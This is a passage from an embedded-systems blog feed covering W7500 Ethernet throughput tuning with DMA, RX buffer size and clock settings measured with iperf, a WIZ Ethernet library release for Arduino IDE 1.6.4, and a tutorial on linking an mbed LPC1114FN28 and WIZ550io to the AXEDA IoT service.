<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x000A0200; // 40MHz</span>
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x00090200; // 36MHz</span>
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x00080200; // 32MHz</span>
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x00070200; // 28MHz</span>
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x00060200; // 24MHzS</span>
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x00050200; // 20MHz, Default</span>
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x00040200; // 16MHz</span>
<span class="hljs-comment">//*(volatile uint32_t *)(0x41001014) = 0x00030200; // 12MHz</span>
*(<span class="hljs-keyword">volatile</span> uint32_t *)(<span class="hljs-number">0x41001014</span>) = <span class="hljs-number">0x00020200</span>; <span class="hljs-comment">// 8MHz</span>
</code></pre>
</li>
</ul>
</li>
<li>How to config. RX memory buffer <br />
<ul>
<li>Iperf test Firmware<ul>
<li>Source Code : <a href="https://github.com/embeddist/W7500/tree/W7500_DMA"></a><a href="https://github.com/embeddist/W7500/tree/W7500_DMA">https://github.com/embeddist/W7500/tree/W7500_DMA</a></li>
<li><a href="https://github.com/embeddist/W7500/blob/W7500_DMA/W7500x_Library_Examples/Projects/Peripheral_Examples/WZTOE/IperfTest_DMA/main.c">W7500/W7500x_Library_Examples/Projects/Peripheral_Examples/WZTOE/IperfTest_DMA/main.c</a></li>
<li>TCP only Recv function in <a href="https://www.blogger.com/W7500/W7500x_Library_Examples/ioLibrary/Application/Iperf/iperf.c">iperf.c</a><pre><code class="cpp hljs" data-origin="<pre><code class="cpp">int32_t recvonly_tcps(uint8_t sn, uint8_t* buf, uint16_t port)
{
int32_t ret;
uint16_t size = 0;
int32_t i;
switch(getSn_SR(sn))
{
case SOCK_ESTABLISHED :
if(getSn_IR(sn) &amp; Sn_IR_CON)
{
setSn_IR(sn,Sn_IR_CON);
}
// Don't need to check SOCKERR_BUSY because it doesn't not occur.
if((size = getSn_RX_RSR(sn)) &gt; 0)
{
if(size &gt; DATA_BUF_SIZE) size = DATA_BUF_SIZE;
printf("---------------size :%d\r\n", size);
ret = recv(sn, buf, size);
}
break;
case SOCK_CLOSE_WAIT :
if( (ret = listen(sn)) != SOCK_OK) return ret;
break;
case SOCK_CLOSED:
if((ret = socket(sn, Sn_MR_TCP, port, Sn_MR_ND)) != sn) return ret;
break;
default:
break;
}
return 1;
}
</code></pre>">int32_t recvonly_tcps(uint8_t sn, uint8_t* buf, uint16_t port)
{
int32_t ret;
uint16_t size = <span class="hljs-number">0</span>;
int32_t i;
<span class="hljs-keyword">switch</span>(getSn_SR(sn))
{
<span class="hljs-keyword">case</span> SOCK_ESTABLISHED :
<span class="hljs-keyword">if</span>(getSn_IR(sn) & Sn_IR_CON)
{
setSn_IR(sn,Sn_IR_CON);
}
<span class="hljs-comment">// Don't need to check SOCKERR_BUSY because it doesn't not occur.</span>
<span class="hljs-keyword">if</span>((size = getSn_RX_RSR(sn)) > <span class="hljs-number">0</span>)
{
<span class="hljs-keyword">if</span>(size > DATA_BUF_SIZE) size = DATA_BUF_SIZE;
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"---------------size :%d\r\n"</span>, size);
ret = recv(sn, buf, size);
}
<span class="hljs-keyword">break</span>;
<span class="hljs-keyword">case</span> SOCK_CLOSE_WAIT :
<span class="hljs-keyword">if</span>( (ret = listen(sn)) != SOCK_OK) <span class="hljs-keyword">return</span> ret;
<span class="hljs-keyword">break</span>;
<span class="hljs-keyword">case</span> SOCK_CLOSED:
<span class="hljs-keyword">if</span>((ret = socket(sn, Sn_MR_TCP, port, Sn_MR_ND)) != sn) <span class="hljs-keyword">return</span> ret;
<span class="hljs-keyword">break</span>;
<span class="hljs-keyword">default</span>:
<span class="hljs-keyword">break</span>;
}
<span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
</code></pre>
</li>
</ul>
</li>
<li>Sn_RXBUF_SIZE (Socket n RX Buffer Size Register)<br />
<pre><code data-origin="<pre><code> Sn_RXBUF_SIZE configures the RX Buffer size of Socket n. Socket n RX Buffer size can be configured with 1,2,4,8, and 16 Kbytes. If a different size is configured, the data cannot be normally received from a peer.
</code></pre>"> Sn_RXBUF_SIZE configures the RX Buffer size of Socket n. Socket n RX Buffer size can be configured with 1,2,4,8, and 16 Kbytes. If a different size is configured, the data cannot be normally received from a peer.
</code></pre>
<table>
<thead>
<tr>
<th>Value (dec)</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>4</th>
<th>8</th>
<th>16</th>
</tr>
</thead>
<tbody>
<tr>
<td>Buffer size</td>
<td>0KB</td>
<td>1KB</td>
<td>2KB</td>
<td>4KB</td>
<td>8KB</td>
<td>16KB</td>
</tr>
</tbody>
</table>
</li>
<li>Use wizchip_init() for Setting Sn_RXBUF_SIZE<br />
<pre><code class="cpp hljs" data-origin="<pre><code class="cpp"> // main.c
/* set Sn_RXBUF_SIZE and Sn_RXBUF_SIZE as 8KB */
uint8_t tx_size[8] = { 8, 0, 0, 0, 0, 0, 0, 0 };
uint8_t rx_size[8] = { 8, 0, 0, 0, 0, 0, 0, 0 };
...
/* Set Network Configuration */
wizchip_init(tx_size, rx_size);
</code></pre>"> <span class="hljs-comment">// main.c </span>
<span class="hljs-comment">/* set Sn_RXBUF_SIZE and Sn_RXBUF_SIZE as 8KB */</span>
uint8_t tx_size[<span class="hljs-number">8</span>] = { <span class="hljs-number">8</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span> };
uint8_t rx_size[<span class="hljs-number">8</span>] = { <span class="hljs-number">8</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span> };
...
<span class="hljs-comment">/* Set Network Configuration */</span>
wizchip_init(tx_size, rx_size);
</code></pre>
</li>
<li>Use API for Setting Sn_RXBUF_SIZE<br />
<pre><code class="cpp hljs" data-origin="<pre><code class="cpp"> uint8 socket_num = 0;
uint8 rx_buffer_size = 4; // set 4KB
setSn_RXBUF_SIZE(socket_num, rx_buffer_size);
</code></pre>"> uint8 socket_num = <span class="hljs-number">0</span>;
uint8 rx_buffer_size = <span class="hljs-number">4</span>; <span class="hljs-comment">// set 4KB</span>
setSn_RXBUF_SIZE(socket_num, rx_buffer_size);
</code></pre>
</li>
</ul>
</li>
<li>How to use Direct Memory Access (DMA)<br />Direct memory access (DMA) is used in order to provide high-speed data transfer between peripherals and memory as well as memory to memory. The DMA controller has up to 6 channels in total, each dedicated to managing memory access requests from one or more peripherals. For more details, refer to “PrimeCell® μDMA Controller (PL230)” from the Technical Reference Manual.<br />• WZ_TOE-to-memory transfer (software request only)<br />
<ul>
<li>Initialization by using API<pre><code class="cpp hljs" data-origin="<pre><code class="cpp"> //main.c
/* Init. uDMA */
dma_data_struct_init();
dma_init();
</code></pre>"> <span class="hljs-comment">//main.c</span>
<span class="hljs-comment">/* Init. uDMA */</span>
dma_data_struct_init();
dma_init();
</code></pre>
</li>
<li>DMA memory copy in W7500x_dma.c<pre><code class="cpp hljs" data-origin="<pre><code class="cpp"> /* DMA memory copy */
uint32_t chnl_num = 5 ; //DMA Channel number
unsigned int src = 0xXXXX_XXXX; // Source Address
unsigned int dest = 0xDDDD_DDDD ; // Destination Address
unsigned int size = 0; // byte operation
unsigned int num = 1024; // data length
void dma_memory_copy (chnl_num, src, dest, size, num)
</code></pre>"> <span class="hljs-comment">/* DMA memory copy */</span>
uint32_t chnl_num = <span class="hljs-number">5</span> ; <span class="hljs-comment">//DMA Channel number</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> src = <span class="hljs-number">0</span>xXXXX_XXXX; <span class="hljs-comment">// Source Address</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> dest = <span class="hljs-number">0xDDDD</span>_DDDD ; <span class="hljs-comment">// Destination Address</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> size = <span class="hljs-number">0</span>; <span class="hljs-comment">// byte operation</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> num = <span class="hljs-number">1024</span>; <span class="hljs-comment">// data length</span>
<span class="hljs-keyword">void</span> dma_memory_copy (chnl_num, src, dest, size, num)
</code></pre>
</li>
<li>Read/Write DMA functions for WZ_TOE<pre><code class="cpp hljs" data-origin="<pre><code class="cpp"> //W7500x_wztoe.c
#define _DEF_ACCESS_DMA_BUF_
#ifdef _DEF_ACCESS_DMA_BUF_
#include "W7500x_dma.h"
#define MAX_TRANSNUM 1024
void WIZCHIP_READ_DMA (uint32_t BaseAddr, uint16_t ptr, uint8_t* pBuf, uint16_t len)
{
/* call void dma_memory_copy () */
}
void WIZCHIP_WRITE_DMA(uint32_t BaseAddr, uint16_t ptr, uint8_t* pBuf, uint16_t len)
{
/* call void dma_memory_copy () */
}
...
</code></pre>"> <span class="hljs-comment">//W7500x_wztoe.c</span>
<span class="hljs-preprocessor">#<span class="hljs-keyword">define</span> _DEF_ACCESS_DMA_BUF_</span>
<span class="hljs-preprocessor">#ifdef _DEF_ACCESS_DMA_BUF_</span>
<span class="hljs-preprocessor">#<span class="hljs-keyword">include</span> "W7500x_dma.h"</span>
<span class="hljs-preprocessor">#<span class="hljs-keyword">define</span> MAX_TRANSNUM 1024</span>
<span class="hljs-keyword">void</span> WIZCHIP_READ_DMA (uint32_t BaseAddr, uint16_t ptr, uint8_t* pBuf, uint16_t len)
{
<span class="hljs-comment">/* call void dma_memory_copy () */</span>
}
<span class="hljs-keyword">void</span> WIZCHIP_WRITE_DMA(uint32_t BaseAddr, uint16_t ptr, uint8_t* pBuf, uint16_t len)
{
<span class="hljs-comment">/* call void dma_memory_copy () */</span>
}
...
</code></pre>
</li>
</ul>
</li>
</ul>
<h2 id="how-to-use-bandwidth-measurement-tool:-iperf">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#how-to-use-bandwidth-measurement-tool:-iperf" name="how-to-use-bandwidth-measurement-tool:-iperf"></a>How to use Bandwidth Measurement Tool: Iperf</h2>
Iperf is a tool to measure maximum TCP bandwidth, allowing the tuning of various parameters and UDP characteristics. Iperf reports bandwidth, delay jitter, datagram loss. <br />
<ul>
<li><strong><a href="https://iperf.fr/"></a><a href="https://iperf.fr/">https://iperf.fr/</a></strong><br />
<pre><code data-origin="<pre><code># ex.) host IP(192.168.77.9):port[5000], display format is Mbit/sec, interval 1 sec.
&gt;iperf.exe -c 192.168.77.9 -p 5000 -f m -i 1
</code></pre>"># ex.) host IP(192.168.77.9):port[5000], display format is Mbit/sec, interval 1 sec.
>iperf.exe -c 192.168.77.9 -p 5000 -f m -i 1
</code></pre>
<ul>
<li>-c : —client <em>host</em>, -c will connect to the host specified. </li>
<li>-p : —port #, the server port for the server to listen.</li>
<li>-f : —format [], ‘m’ = Mbit/sec</li>
<li>-i : —interval #, Sets the interval time in seconds between periodic bandwidth through performance</li>
</ul>
</li>
<li>Serial terminal for wizwiki_W7500 monitoring<br />
<pre><code class="cpp hljs" data-origin="<pre><code class="cpp">PHY is linked.
MAC ADDRESS : 00:08:DC:01:02:03
IP ADDRESS : 192.168.077.009
GW ADDRESS : 192.168.077.001
SN MASK: 255.255.255.000
TEST- START
0:Listen, TCP server loopback, port [5000]
0:Connected - 192.168.77.223 : 1110 // &lt;-- dispaly after TCP_Established from Iperf
</code></pre>">PHY is linked.
MAC ADDRESS : <span class="hljs-number">00</span>:<span class="hljs-number">08</span>:DC:<span class="hljs-number">01</span>:<span class="hljs-number">02</span>:<span class="hljs-number">03</span>
IP ADDRESS : <span class="hljs-number">192.168</span><span class="hljs-number">.077</span><span class="hljs-number">.009</span>
GW ADDRESS : <span class="hljs-number">192.168</span><span class="hljs-number">.077</span><span class="hljs-number">.001</span>
SN MASK: <span class="hljs-number">255.255</span><span class="hljs-number">.255</span><span class="hljs-number">.000</span>
TEST- START
<span class="hljs-number">0</span>:Listen, TCP server loopback, port [<span class="hljs-number">5000</span>]
<span class="hljs-number">0</span>:Connected - <span class="hljs-number">192.168</span><span class="hljs-number">.77</span><span class="hljs-number">.223</span> : <span class="hljs-number">1110</span> <span class="hljs-comment">// <-- dispaly after TCP_Established from Iperf</span>
</code></pre>
</li>
<li>Excute Iperp on Command Prompt<br /><img alt="Iperf for W7500" src="https://c1.staticflickr.com/1/302/17708284273_4b31d572bf.jpg" style="height: auto; width: 70%;" /> </li>
</ul>
<h2 id="network-performances">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#network-performances" name="network-performances"></a>Network performances</h2>
Analysis of this improvement shows <br />
<ul>
<li>that the total improvement is due to increasing RX buffer.</li>
<li>that the total improvement is due to increasing AHB bus Clock.</li>
<li>that 200% of the total improvement is due to using DMA.</li>
</ul>
<h3 id="network-performance-according-to-rx-buffer-size">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#network-performance-according-to-rx-buffer-size" name="network-performance-according-to-rx-buffer-size"></a>Network performance according to RX Buffer size</h3>
<ul>
<li><strong>Fig. TOE performance according to RX buffer size ( w/o DMA@48MHz)</strong><br /><img alt="TOE performance according to RX buffer size" src="https://c2.staticflickr.com/8/7763/18141195990_37f459ff14.jpg" style="height: auto; width: 60%;" /> <br />
</li>
<li><strong>Fig. TOE performance according to to RX buffer size (w/ DMA@20MHz) </strong><br /><img alt="TOE performance according to to RX buffer siz" src="https://c2.staticflickr.com/8/7796/18302478546_d843fa39c7.jpg" style="height: auto; width: 60%;" /> <br />
</li>
</ul>
<h3 id="network-performancd-according-to-ahb-bus-clock">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#network-performancd-according-to-ahb-bus-clock" name="network-performancd-according-to-ahb-bus-clock"></a>Network performancd according to AHB bus clock</h3>
<ul>
<li><strong>Fig. TOE performance according to AHB bus clock (w/o DMA, RX Buffer:8KB)</strong><br /><img alt="TOE performance according to AHB bus clock" src="https://c1.staticflickr.com/9/8873/18328929965_a15ea98924.jpg" style="height: auto; width: 60%;" /> <br />
</li>
<li><strong>Fig. TOE performance according to AHB bus clock (w/o DMA, RX Buffer:8KB)</strong><br /><img alt="TOE performance according to AHB bus clock" src="https://c1.staticflickr.com/1/358/18141196060_c7d71027c5.jpg" style="height: auto; width: 60%;" /> <br />
</li>
</ul>
</body>
</html>
Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-54689785442805298702015-05-29T20:58:00.000-07:002015-05-29T21:12:16.467-07:00WIZ Ethernet Library for Arduino IDE-1.6.4<p><img src="http://www.geeky-gadgets.com/wp-content/uploads/2015/05/Arduino-IDE-1.jpg" alt="ARM mbed" width="30%" height="30%"><br><a href="http://www.arduino.cc/en/Main/Software">Download Arduino IDE-1.6.4</a></p><h2 id="wiz-ethernet-library-for-arduino-ide-1.6.4"><a name="wiz-ethernet-library-for-arduino-ide-1.6.4" href="#wiz-ethernet-library-for-arduino-ide-1.6.4"></a>WIZ Ethernet Library for Arduino IDE-1.6.4</h2><p>The Ethernet library lets you connect to the Internet or a local network.</p><ul>
<li>Supported devices<br> W5500 : ioShield, WIZ550io, W5500 Ethernet Shield, Arduino Ethernet Shield 2<br> W5200 : W5200 Ethernet Shield, WIZ820io<br> W5100 : Arduino Ethernet Shield</li></ul><ul>
<li><p>Software</p>
<ul>
<li><p>Install WIZ Ethernet library IDE-1.6.4</p>
<ul>
<li>Download all files</li><li>Overwrite “Ethernet” folder onto the “Arduino\libraries\Ethernet” folder in Arduino sketch.</li></ul>
</li><li><p>Select device(shield)</p>
<ul>
<li><p>Uncomment device(shiel) you want to use in <strong>$/Ethernet/src/utility/w5100.h</strong></p>
<pre class="cpp hljs"><code class="cpp" data-origin="<pre><code class="cpp">//#define W5100_ETHERNET_SHIELD // Arduino Ethenret Shield and Compatibles ...
//#define W5200_ETHERNET_SHIELD // WIZ820io, W5200 Ethernet Shield
#define W5500_ETHERNET_SHIELD // WIZ550io, ioShield series of WIZnet
</code></pre>"><span class="hljs-comment">//#define W5100_ETHERNET_SHIELD // Arduino Ethenret Shield and Compatibles ...</span>
<span class="hljs-comment">//#define W5200_ETHERNET_SHIELD // WIZ820io, W5200 Ethernet Shield </span>
<span class="hljs-preprocessor">#<span class="hljs-keyword">define</span> W5500_ETHERNET_SHIELD <span class="hljs-comment">// WIZ550io, ioShield series of WIZnet</span></span>
</code></pre>
</li><li><p>If WIZ550io used, uncommnet “#define WIZ550io_WITH_MACAADDRESS” in <strong>$/Ethernet/src/utility/w5100.h</strong></p>
<pre class="cpp hljs"><code class="cpp" data-origin="<pre><code class="cpp">#if defined(W5500_ETHERNET_SHIELD)
//#define WIZ550io_WITH_MACADDRESS // Use assigned MAC address of WIZ550io
#include "w5500.h"
#endif
</code></pre>"><span class="hljs-preprocessor">#<span class="hljs-keyword">if</span> defined(W5500_ETHERNET_SHIELD)</span>
<span class="hljs-comment">//#define WIZ550io_WITH_MACADDRESS // Use assigned MAC address of WIZ550io</span>
<span class="hljs-preprocessor">#<span class="hljs-keyword">include</span> "w5500.h"</span>
<span class="hljs-preprocessor">#<span class="hljs-keyword">endif</span></span>
</code></pre>
</li></ul>
</li><li><p>Using the WIZ Ethernet library and evaluate existing Ethernet example.<br> All other steps are the same as the steps from the Arduino Ethernet Shield. You can use examples in ./Ethernet/examples folder for the Arduino IDE 1.6.4, go to Files->Examples->Ethernet, open any example, then copy it to your sketch file and change configuration values properly.<br> After that, you can check if it is work well. For example, if you choose ‘WebServer’, you should change IP Address first and compile and download it. Then you can access web server page through your web browser of your PC or something.</p>
</li></ul>
</li></ul><h2 id="what-is-new-?"><a name="what-is-new-?" href="#what-is-new-?"></a>What is new ?</h2><ul>
<li><p><strong>Added new functions</strong></p>
<ul>
<li><p>sockStatus(SOCKET s) = readSnSR(SOCKET s)</p>
<pre class="cpp hljs"><code class="cpp" data-origin="<pre><code class="cpp">uint8_t socketStatus(SOCKET s)
{
SPI.beginTransaction(SPI_ETHERNET_SETTINGS);
uint8_t status = W5100.readSnSR(s);
SPI.endTransaction();
return status;
}
</code></pre>"><span class="hljs-function"><span class="hljs-keyword">uint8_t</span> <span class="hljs-title">socketStatus</span><span class="hljs-params">(SOCKET s)</span>
</span>{
SPI.beginTransaction(SPI_ETHERNET_SETTINGS);
<span class="hljs-keyword">uint8_t</span> status = W5100.readSnSR(s);
SPI.endTransaction();
<span class="hljs-keyword">return</span> status;
}
</code></pre>
</li><li><p>reavAvalable(SOCKET s) = getRxReceiveSize(SOCKET s)</p>
<pre class="cpp hljs"><code class="cpp" data-origin="<pre><code class="cpp">int16_t recvAvailable(SOCKET s)
{
SPI.beginTransaction(SPI_ETHERNET_SETTINGS);
int16_t ret = W5100.getRXReceivedSize(s);
SPI.endTransaction();
return ret;
}
</code></pre>"><span class="hljs-function"><span class="hljs-keyword">int16_t</span> <span class="hljs-title">recvAvailable</span><span class="hljs-params">(SOCKET s)</span>
</span>{
SPI.beginTransaction(SPI_ETHERNET_SETTINGS);
<span class="hljs-keyword">int16_t</span> ret = W5100.getRXReceivedSize(s);
SPI.endTransaction();
<span class="hljs-keyword">return</span> ret;
}
</code></pre>
</li></ul>
</li><li><p><strong>Added SPI Transaction APIs</strong><br>To solve conflicts that sometimes occur between multiple SPI devices when using SPI from interrupts and/or different SPI settings, SPI Transcation APIs use between between read and write SPI functions. </p>
<pre class="cpp hljs"><code class="cpp" data-origin="<pre><code class="cpp"> SPI.beginTransaction(SPI_ETHERNET_SETTINGS);
W5100.setIPAddress(_dhcp-&gt;getLocalIp().raw_address());
W5100.setGatewayIp(_dhcp-&gt;getGatewayIp().raw_address());
W5100.setSubnetMask(_dhcp-&gt;getSubnetMask().raw_address());
SPI.endTransaction();
</code></pre>"> SPI.beginTransaction(SPI_ETHERNET_SETTINGS);
W5100.setIPAddress(_dhcp->getLocalIp().raw_address());
W5100.setGatewayIp(_dhcp->getGatewayIp().raw_address());
W5100.setSubnetMask(_dhcp->getSubnetMask().raw_address());
SPI.endTransaction();
</code></pre>
</li><li><strong>Removed Twitter.cpp / Twitter.h</strong></li></ul><h2 id="code-on-github"><a name="code-on-github" href="#code-on-github"></a>Code on Github</h2><ul>
<li>HTTPS clone URL - <a href="https://github.com/embeddist/WIZ_Ethernet_Library-IDE1.6.x.git"></a><a href="https://github.com/embeddist/WIZ_Ethernet_Library-IDE1.6.x.git">https://github.com/embeddist/WIZ_Ethernet_Library-IDE1.6.x.git</a></li><li>Download ZIP - <a href="https://github.com/embeddist/WIZ_Ethernet_Library-IDE1.6.x/archive/master.zip"></a><a href="https://github.com/embeddist/WIZ_Ethernet_Library-IDE1.6.x/archive/master.zip">https://github.com/embeddist/WIZ_Ethernet_Library-IDE1.6.x/archive/master.zip</a></li></ul><h2 id="evision-history"><a name="evision-history" href="#evision-history"></a>evision History</h2><ul>
<li>Initial Release : 21 May. 2015</li></ul>
<!-- embeddist_main_Blog1_300x250_as -->
<in<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- embeddist_sidebar-right-1_AdSense1_250x250_as -->
<ins class="adsbygoogle"
style="display:inline-block;width:250px;height:250px"
data-ad-client="ca-pub-2487516203666708"
data-ad-slot="9189437475"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-91986017412182409022015-03-04T02:41:00.000-08:002015-05-29T21:13:47.775-07:00How to connect mbed LPC114FN28 to AXEDA for Internet of Things? <p>This post shows how to connect mbed LPC114FN28 to AXEDA Service for Internet of Things. </p><h6 id="mbed-lpc1114fn28"><a name="mbed-lpc1114fn28" href="#mbed-lpc1114fn28"></a>mbed LPC1114FN28</h6><p><img src="https://docid81hrs3j1.cloudfront.net/contents/large/LPC1114_1.jpg" alt="mbed LPC1114FN28"></p><ul>
<li>platform partner : <a href="https://international.switch-science.com/">switch-science</a><br><img src="https://docid81hrs3j1.cloudfront.net/images/common/top-logo.gif" alt="switch "></li>
</ul><p>>The mbed LPC1114FN28 operates at CPU frequencies of 48 MHz. The LPC1114FN28 includes up to 32 kB of flash memory, up to 4 kB of data memory, one Fastmode Plus I2C-bus interface, one RS-485/EIA-485 UART, one SPI interface with SSP features, four general purpose counter/timers, a 10-bit ADC, and up to 22 general purpose I/O pins.</p><p><em><a href="http://developer.mbed.org/platforms/LPC1114FN28/"></a><a href="http://developer.mbed.org/platforms/LPC1114FN28/">http://developer.mbed.org/platforms/LPC1114FN28/</a><br>>Note: LPC1114FN28 platform doesn’t support <strong>RTOS</strong> due to its flash size. Please <em>*do not import mbed-rtos library</em></em> into your project.</p><p>mbed LPC1114FN28 has very limited size memory size and no Internet connectivity.<br>In addition, LPC114EN28 doesn’t support RTOS and EthernetInterface.</p><p>How to connect mbed LPC114FN28 to AXEDA (IoT Cloud Platform)?<br>An answer is <strong>WIZ550io.</strong></p><p><img src="http://wizwiki.net/wiki/lib/exe/fetch.php?media=products:wiz550io:wiz550io_small_005.png" alt="WIZ550io"><br>WIZ550io is an auto configurable Ethernet controller that includes a W5500 (TCP/IP hardwired chip and PHY embedded), a transformer and RJ45. It supports Serial Peripheral Interface (SPI) bus as host interface. Therefore,<br>host system can be simply connect to Internet without EthernetInterface or TCP/IP software stack (included in RTOS).<br><a href="http://developer.mbed.org/components/WIZ550io/"></a><a href="http://developer.mbed.org/components/WIZ550io/">http://developer.mbed.org/components/WIZ550io/</a></p><h6 id="hardware---mbed-lpc1114fn28-+-wiz550io"><a name="hardware---mbed-lpc1114fn28-+-wiz550io" href="#hardware---mbed-lpc1114fn28-+-wiz550io"></a>Hardware - mbed LPC1114FN28 + WIZ550io</h6><p><img src="https://c1.staticflickr.com/9/8606/16090664614_c7949a3434.jpg" alt="mbed LPC1114FN28"></p><ul>
<li><p>WIZ550io: Ethernet Connectivity</p>
<table>
<thead>
<tr>
<th>pin name</th>
<th>LPC1114FN28</th>
<th>direction</th>
<th>WIZ550io</th>
</tr>
</thead>
<tbody>
<tr>
<td>miso</td>
<td>dp1</td>
<td></td>
<td>J1:3</td>
</tr>
<tr>
<td>sck</td>
<td>dp6</td>
<td>—-></td>
<td>J1:5</td>
</tr>
<tr>
<td>scs</td>
<td>dp26</td>
<td>—-></td>
<td>J1:6</td>
</tr>
<tr>
<td>RSTn</td>
<td>dp25</td>
<td>—-></td>
<td>J2:3</td>
</tr>
</tbody>
</table>
</li>
<li><p>Potentiometer: </p>
<table>
<thead>
<tr>
<th>pin name</th>
<th>LPC1114FN28</th>
<th>direction</th>
<th>Potentiometer</th>
</tr>
</thead>
<tbody>
<tr>
<td>AnalogIn</td>
<td>dp13</td>
<td><—-</td>
<td>2(OUT)</td>
</tr>
</tbody>
</table>
</li>
</ul><h6 id="software---axedago-mbednxp-+-w5500interface"><a name="software---axedago-mbednxp-+-w5500interface" href="#software---axedago-mbednxp-+-w5500interface"></a>Software - AxedaGo-mbedNXP + W5500Interface</h6><ol>
<li><p>Import AxedaGo-mbedNXP</p>
<ul>
<li>click and import this program : <a href="http://developer.mbed.org/users/AxedaCorp/code/AxedaGo-mbedNXP/">AxedaGo-mbedNXP</a><br><img src="https://c1.staticflickr.com/9/8666/16712998135_2642592ff2.jpg" alt="mbed LPC1114FN28"></li>
</ul>
</li>
<li><p>Change a platform as mbed LPC1114FN28</p>
<ul>
<li>This program is made for LPC1768. But, we will use LPC1114FN28. So, LPC1114EN28 is selected the right platform in the compiler.<br><img src="https://c1.staticflickr.com/9/8630/16711942122_07a259a4c0.jpg" alt="mbed LPC1114FN28"></li>
</ul>
</li>
<li><p>Delete EthernetInterface and mbed-rtos on AxedaGo-mbedNXP_WIZ550io</p>
</li>
<li><p>Import W5500Interface</p>
<ul>
<li>click and import this program : <a href="http://developer.mbed.org/teams/EthernetInterfaceW5500-makers/code/W5500Interface/">W5500Interface</a><br><img src="https://c1.staticflickr.com/9/8597/16525590940_09aac74548.jpg" alt="mbed LPC1114FN28"></li>
</ul>
</li>
<li><p>Porting main.cc</p>
<ul>
<li>For using WIZ550io, EthernetInterface Init. should be changed as below,<pre><code class="cpp hljs" data-origin="<pre><code class="cpp">#if defined(TARGET_LPC1114)
SPI spi(dp2, dp1, dp6); // mosi, miso, sclk
EthernetInterface eth(&amp;spi, dp25, dp26); // spi, cs, reset
AnalogIn pot1(dp13);
#else
EthernetInterface eth;
AnalogIn pot1(p19);
AnalogIn pot2(p20);
#endif
</code></pre>"><span class="hljs-preprocessor">#<span class="hljs-keyword">if</span> defined(TARGET_LPC1114)</span>
SPI spi(dp2, dp1, dp6); <span class="hljs-comment">// mosi, miso, sclk</span>
EthernetInterface eth(&spi, dp25, dp26); <span class="hljs-comment">// spi, cs, reset</span>
AnalogIn pot1(dp13);
<span class="hljs-preprocessor">#<span class="hljs-keyword">else</span></span>
EthernetInterface eth;
AnalogIn pot1(p19);
AnalogIn pot2(p20);
<span class="hljs-preprocessor">#<span class="hljs-keyword">endif</span></span>
</code></pre>
</li>
<li>AnalogIn ports should be also configured by depending on platform.</li>
</ul>
</li>
</ol><h6 id="axeda"><a name="axeda" href="#axeda"></a>AXEDA</h6><ul>
<li>Ref.: Axeda Go Kit for mbed NXP LPC1768 Prototyping Board<ul>
<li>site link :<a href="http://developer.axeda.com/Instructions/axeda-go-kit-mbed-NXP-LPC176"></a><a href="http://developer.axeda.com/Instructions/axeda-go-kit-mbed-NXP-LPC176">http://developer.axeda.com/Instructions/axeda-go-kit-mbed-NXP-LPC176</a></li>
</ul>
</li>
</ul><ul>
<li><p>make dashboard on Axeda</p>
<ol>
<li><p>Click "AXEDA REDY"<br><img src="https://c1.staticflickr.com/9/8682/16711714881_88f64f4c7f.jpg" alt="mbed LPC1114FN28"></p>
</li>
<li><p>Select mbed LPC1768 and enter device name<br><img src="https://c1.staticflickr.com/9/8576/16505715097_c5b11b9c62.jpg" alt="mbed LPC1114FN28"></p>
</li>
<li><p>Copy serial number<br><img src="https://c1.staticflickr.com/9/8664/16687077836_6b0c738317.jpg" alt="mbed LPC1114FN28"></p>
</li>
<li><p>input serial number in code(main.cc)</p>
<pre><code class="cpp hljs" data-origin="<pre><code class="cpp">char *SERIAL_NUM = "SerialNumber";
</code></pre>"><span class="hljs-keyword">char</span> *SERIAL_NUM = <span class="hljs-string">"SerialNumber"</span>;
</code></pre>
</li>
</ol>
</li>
</ul><h6 id="enjoy-axeda-with-lpc1114fn24-+-wiz550io"><a name="enjoy-axeda-with-lpc1114fn24-+-wiz550io" href="#enjoy-axeda-with-lpc1114fn24-+-wiz550io"></a>Enjoy AXEDA with LPC1114FN24 + WIZ550io</h6><p>Before Enjoy Axeda, click the Compile button at the top of the page and download .bin on your platform.</p><ul>
<li><p>Serial Terminal Log.<br>You will comfirm DHCP IP address, Protentiometer value and sending message in debugging message.</p>
<pre><code data-origin="<pre><code> Connected to COM42.
initializing Ethernet
- Ethernet ready
Ethernet.connecting
- connecting returned 0
Trying to get IP address..
- IP address:192.168.13.53 //&amp;lt;--- DHCP IP address
Sending Value for well1 0.00 //&amp;lt;--- Potentiometer value
Received 36 chars from server: //sending message
HTTP/1.1 200
Content-Lengtved 36 chars from server:
HTTP/1.1 200
Content-Length: 0
Sending Value for well1 0.14 //&amp;lt;--- Potentiometer value
Received 36 chars from server: //sending message
HTTP/1.1 200
Content-Length: 0
Sending Value for well1 0.27
